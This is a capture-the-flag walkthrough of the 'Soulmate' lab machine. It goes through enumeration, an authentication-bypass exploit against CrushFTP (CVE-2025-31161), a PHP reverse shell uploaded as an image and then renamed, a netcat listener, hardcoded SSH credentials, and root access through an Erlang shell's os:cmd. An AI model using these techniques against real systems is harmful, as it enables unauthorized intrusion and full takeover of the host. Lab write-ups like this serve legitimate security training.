Machine Overview
The target machine Soulmate exposes a web application and an FTP service. Exploiting the FTP service (CrushFTP) leads to arbitrary file management, which we leverage to upload and rename a PHP reverse shell. From there, we pivot through a custom Erlang-based SSH service to escalate from www-data → ben → root.
Enumeration
Nmap Scan
We begin with a standard scan:
nmap -A -oN nmap.txt 10.10.11.86Results:
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
80/tcp open http nginx 1.18.0 (Ubuntu)Key findings:
- 22/tcp → OpenSSH 8.9p1
- 80/tcp → nginx 1.18.0, redirecting to
http://soulmate.htb/
Web Enumeration
Hostname Resolution
Since the HTTP service redirects, we add the hostname to /etc/hosts:
echo "10.10.11.86 soulmate.htb" | sudo tee -a /etc/hostsWebsite Analysis
Visiting http://soulmate.htb reveals a login/registration portal with a user profile feature.

Virtual Host Enumeration
We brute-force for additional vhosts:
gobuster vhost \
-w /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt \
-u http://soulmate.htb \
-t 20 \
--append-domainResult:
Found: ftp.soulmate.htbNavigating to http://ftp.soulmate.htb redirects to a CrushFTP login page.

Exploiting CrushFTP
CrushFTP is a web-based FTP server. Searching for vulnerabilities, we find a recent exploit: CVE-2025-31161.
python cve-2025-31161.py --target_host ftp.soulmate.htb --port 80Exploit result:
[+] Exploit Complete. You can now login with:
Username: AuthBypassAccount
Password: CorrectHorseBatteryStaple.We log in as admin:

From Admin → User Management → Server Files, we can browse /app/webProd/ — the web root.

Initial Foothold
Through the profile page, we can upload an image. By uploading a PHP reverse shell disguised as .png, then renaming it to .php via the FTP interface, we obtain RCE:
http://soulmate.htb/assets/images/profiles/random_1757609495.php
Set up a listener:
nc -lnvp 4444Triggering the shell gives us a foothold:
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)Privilege Escalation (www-data → ben)
Enumeration
Checking /etc/passwd shows a local user ben:
root:x:0:0:root:/root:/bin/bash
ben:x:1000:1000:,,,:/home/ben:/bin/bashRunning pspy64 reveals a root process executing a custom Erlang script:
/usr/local/lib/erlang_login/start.escript ...Erlang Script Analysis
The script configures an SSH daemon on port 2222 and hardcodes credentials:
{user_passwords, [{"ben", "HouseH0ldings998"}]}SSH Access
We can now SSH directly as ben:
ssh ben@10.10.11.86
# password: HouseH0ldings998ben@soulmate:~$ id
uid=1000(ben) gid=1000(ben) groups=1000(ben)User flag
/home/ben/user.txt
Privilege Escalation (ben → root)
From ben, we test the local Erlang SSH service:
nc 127.0.0.1 2222
SSH-2.0-Erlang/5.2.9Logging in:
ssh ben@127.0.0.1 -p 2222This drops us into an Erlang shell:
Eshell V15.2.5 (press Ctrl+G to abort, type help(). for help)
(ssh_runner@soulmate)1>From here, we can execute OS commands:
(ssh_runner@soulmate)1> os:cmd("id").
"uid=0(root) gid=0(root) groups=0(root)\n"We now have root execution.
Root flag
/root/root.txt

